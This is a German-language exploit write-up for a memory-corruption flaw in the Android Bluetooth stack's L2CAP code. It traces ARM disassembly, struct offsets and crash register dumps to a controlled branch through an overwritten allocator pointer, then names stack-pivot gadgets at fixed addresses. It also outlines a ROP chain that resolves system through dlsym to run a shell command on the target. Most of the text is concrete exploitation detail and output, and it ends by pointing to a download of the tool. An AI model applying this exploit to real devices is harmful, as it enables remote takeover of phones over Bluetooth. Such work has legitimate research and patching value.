void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }

void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }

bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => Aufruf von alloc wird durch unseren Aufruf ersetzt (Nur ein Parameter !!!) ... }

Die Definition von link_xmit_data_q in der Struktur tL2C_LCB lautet:

/* Define a link control block. There is one link control block between

  • this device and any other device (i.e. BD ADDR). / typedef struct t_l2c_linkcb { ... list_t link_xmit_data_q; /* Link transmit data buffer queue */ | Größe 0x4 | Offset 0x44 ... } tL2C_LCB;

Die Definition der Struktur list_t lautet:

typedef struct list_t { list_node_t* head; | Größe 0x4 | Offset 0x0 list_node_t* tail; | Größe 0x4 | Offset 0x4 size_t length; | Größe 0x4 | Offset 0x8 list_free_cb free_cb; | Größe 0x4 | Offset 0xC const allocator_t* allocator; | Größe 0x4 | Offset 0x10 } list_t; | Größe 0x14

Mit der Struktur list_node_t:

struct list_node_t {
struct list_node_t* next; | Größe 0x4 | Offset 0x0 void* data; | Größe 0x4 | Offset 0x4 }; | Größe 0x8

Und der Struktur allocator_t:

typedef struct {
alloc_fn alloc; | Größe 0x4 | Offset 0x0 free_fn free; | Größe 0x4 | Offset 0x4 } allocator_t; | Größe 0x8

typedef struct {
uint16_t event; | Größe 0x2 | Offset 0x0 uint16_t len; | Größe 0x2 | Offset 0x2 uint16_t offset; | Größe 0x2 | Offset 0x4 uint16_t layer_specific; | Größe 0x2 | Offset 0x6 uint8_t data[]; | Größe 0xx | Offset 0x8 } BT_HDR; | Größe 0x8 + Datenlänge

Die Disassemblierung der Funktion l2c_link_check_send_pkts:

.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => R0 nach R4 verschieben => R4 = R0 = tL2C_LCB* p_lcb setzen .text:0x00103110 CBZ R2, loc_10311C => Sprung, wenn R2 null ist => Sprung, wenn BT_HDR* p_buf null ist .text:0x00103112 MOVS R0, #0 => 0 nach R0 verschieben => .text:0x00103114 CBZ R1, loc_103120 => Sprung, wenn R1 null ist => Sprung, wenn tL2C_CCB* p_ccb null ist .text:0x00103116 LDRH R1, [R1,#0x2C] => R1 + 0x2C in R1 laden => R1 mit p_ccb->local_cid laden .text:0x00103118 MOVS R7, #1 => 1 nach R7 verschieben => single_write = true setzen .text:0x0010311A B loc_103124 => Sprung zu loc_103124 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => R1 hoch in R2 speichern => p_buf->event = p_ccb->local_cid setzen .text:0x00103126 MOV R1, R2 => R2 nach R1 verschieben => R1 = R2 = BT_HDR* p_buf setzen .text:0x00103128 STRH R0, [R2,#6] => R0 in R2 + 0x6 speichern => p_buf->layer_specific = 0 setzen .text:0x0010312A LDR R0, [R4,#0x44] => R4 + 0x44 in R0 laden => R0 mit list_t* p_lcb->link_xmit_data_q aus R4 + 0x44 laden .text:0x0010312C BL list_append => Branch with link to list_append

Vor dem Aufruf der Funktion list_append enthalten die Register:

  • R0 = list_t* p_lcb->link_xmit_data_q-Objekt mit der ersten Nutzlast
  • R1 und R2 = BT_HDR* p_buf-Objekt mit der zweiten Nutzlast
  • R4 = tL2C_LCB* p_lcb-Objekt mit der ersten Nutzlast bei 0x44
  • R7 = 1

Die Disassemblierung der Funktion list_append:

.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => R4 nach R0 verschieben => R4 = R0 = list_t* p_lcb->link_xmit_data_q setzen .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => R1 nach R5 verschieben => R5 = R1 = BT_HDR* p_buf setzen .text:0x001298AA CMP R4, #0 => Test R4 = 0 => Testen, ob list_t* p_lcb->link_xmit_data_q null ist .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => Test CMP => Sprung, wenn list_t* p_lcb->link_xmit_data_q nicht null ist .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => Sprung, wenn R5 nicht null ist => Sprung, wenn BT_HDR* p_buf null ist .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => R0 aus R4+0x10 laden => R0 = list->allocator setzen .text:0x001298E2 LDR R1, [R0] => R1 aus R0 laden => R1 = list->allocator->alloc setzen .text:0x001298E4 MOVS R0, #8 => 8 nach R0 verschieben => R0 = sizeof(list_node_t) setzen .text:0x001298E6 BLX R1 => Branch with link and exchange to R1 => Sprung zu kontrolliertem R1 !!!

Vor dem kontrollierten Sprung zu R1 enthalten die Register:

  • R0 = 0x8
  • R1 = Wert der zweiten Nutzlast + 0x0
  • R2 und R5 zeigen auf BT_HDR* p_buff mit der zweiten Nutzlast
  • R4 zeigt auf list_t* p_lcb->link_xmit_data_q mit der ersten Nutzlast

Um den Start der ersten Nutzlast in list_t* p_lcb->link_xmit_data_q zu finden, auf den R4 zeigt, haben wir das bei 0x00125734 gefundene ldm-Gadget verwendet:

0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}

Der Zielabsturz erfolgt mit folgenden Registerinhalten:

  • R4 = ade05278 = list_t* p_lcb->link_xmit_data_q mit der ersten Nutzlast bei + 0x894C (0x894C / 0x360 = 0x28 = 40 Pakete, in denen wir auf die zweite Nutzlast zugreifen können)

  • R0 = R4 + 0x0 = 0020de08

  • R1 = R4 + 0x4 = dead0000 = Wert der ersten Nutzlast + 0x0

  • R2 = R4 + 0x8 = dead0001 = Wert der ersten Nutzlast + 0x4

  • R3 = R4 + 0xC = dead0002 = Wert der ersten Nutzlast + 0x8

  • R5 = R4 + 0x10 = ade0db14 = Wert der ersten Nutzlast + 0xC = Adresse der zweiten Nutzlast + 0x0

  • R6 = R4 + 0x14 = dead0003 = Wert der ersten Nutzlast + 0x10

  • R7 = R4 + 0x18 = 00200004

  • R9 (SB) = R4 + 0x1C = dead0000 = Wert der ersten Nutzlast + 0x0

  • R10 (SL) = R4 + 0x20 = dead0001 = Wert der ersten Nutzlast + 0x4

  • R12 (IP) = R4 + 0x24 = dead0002 = Wert der ersten Nutzlast + 0x8

  • R13 (SP) = R4 + 0x2C = ade0db14 = Wert der ersten Nutzlast + 0xC = Adresse der zweiten Nutzlast+ 0x0

  • R14 (LR) = R4 + 0x30 = dead0003 = Wert der ersten Nutzlast + 0x10

Die erste Nutzlast wiederholt sich alle 0x14 Bytes, was der Größe der Struktur list_t entspricht.

typedef struct list_t { list_node_t* head; | Größe 0x4 | Offset 0x0 | l2cap-Header nicht verwendbar list_node_t* tail; | Größe 0x4 | Offset 0x4 | Wert der ersten Nutzlast + 0x0 size_t length; | Größe 0x4 | Offset 0x8 | Wert der ersten Nutzlast + 0x4 list_free_cb free_cb; | Größe 0x4 | Offset 0xC | Wert der ersten Nutzlast + 0x8 const allocator_t* allocator; | Größe 0x4 | Offset 0x10 | Wert der ersten Nutzlast + 0xC } list_t; | Größe 0x14

Um den Start der zweiten Nutzlast in BT_HDR* p_buff zu finden, auf den R5 zeigt, haben wir das bei 0x000dcecc gefundene ldm-Gadget verwendet:

0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}

Der Zielabsturz erfolgt mit folgenden Registerinhalten:

  • R2 = R5 + 0x0 = 000e0000
  • R3 = R5 + 0x4 = 00000000
  • R4 = R5 + 0x8 = 000a2002
  • R5 = 95270300 = BT_HDR* p_buff mit der zweiten Nutzlast bei + 0x???
  • R6 = R5 + 0xC = 00010006
  • R7 = R5 + 0x10 = 0002020a
  • R8 = R5 + 0x14 = 00000002

In diesem Load-Multiple gibt es keine Inkrementierung, und wir sehen, dass der Inhalt von BT_HDR* p_buff + 0x0 ist: 000e0000 00000000 000a2002 00010006 0002020a 00000002

Der gleiche Test mit einem Load-Multiple mit Inkrementierung vor dem Gadget, gefunden bei 0x0014b580: 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^

Der Zielabsturz erfolgt mit folgendem Log:

Nach dem Absturz enthalten die Register:

  • R1 = R5 + 0x4 = 00000000
  • R2 = R5 + 0x8 = 000a2002
  • R3 = R5 + 0xC = 00010006
  • R4 = R5 + 0x10 = 0002020a
  • R5 = 9530ee00 = BT_HDR* p_buff mit der zweiten Nutzlast bei + 0x14
  • R7 = R5 + 0x14 = 96300002
  • R8 = R5 + 0x18 = dead0007
  • SL = R5 + 0x1C = dead0008
  • FP = R5 + 0x20 = dead0009
  • SP = R5 + 0x24 = dead000a

Der Inhalt von BT_HDR* p_buff + 0x4 für die Inkrementierung ist: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a

Wir sehen, dass die zweite Nutzlast bei + 0x14 in BT_HDR* p_buff liegt.

########################################################################################

ROP-KETTE SCHREIBEN

########################################################################################

Wie Jan Ruge mit der Bibliothek libicuuc haben wir nur Zugriff auf dlsym in der Bluetooth-Bibliothek, um die Adresse von system zu finden, um die Shell zu starten.

Der Exploit-Prozess ist wie folgt:- Holen Sie sich die Adresse eines Link-Transmit-Data-Buffer-Queue-Eintrags bei mem_offset 180 und berechnen Sie die Basis eines Pakets mit - 176

  • Holen Sie sich die Funktionsadresse von BleAdvertisingManagerImpl::SetDataAdvDataSender bei mem_offset 28, um die Basisadresse der Bluetooth-Bibliothek zu berechnen
  • Erstellen Sie ein erstes Payload von 32 Zeichen, das die Link-Transmit-Data-Buffer-Queue-Eintragsadresse enthält
  • Erstellen Sie ein zweites Payload von 184 Zeichen, das die ROP-Kette und den Shell-Befehl enthält
  • Verteilen Sie das zweite Payload bei mem_offset 184 mit der Leak-Methode, um es in die Link-Transmit-Data-Buffer-Queue zu platzieren
  • Überlaufen Sie das erste Payload, um Einträge in der Link-Transmit-Data-Buffer-Queue zu überschreiben und den Sprung zum Beginn des zweiten Payloads auszulösen
  • Das zweite Payload startet den Shell-Befehl

Siehe Code für Erklärungen

########################################################################################

Tool herunterladen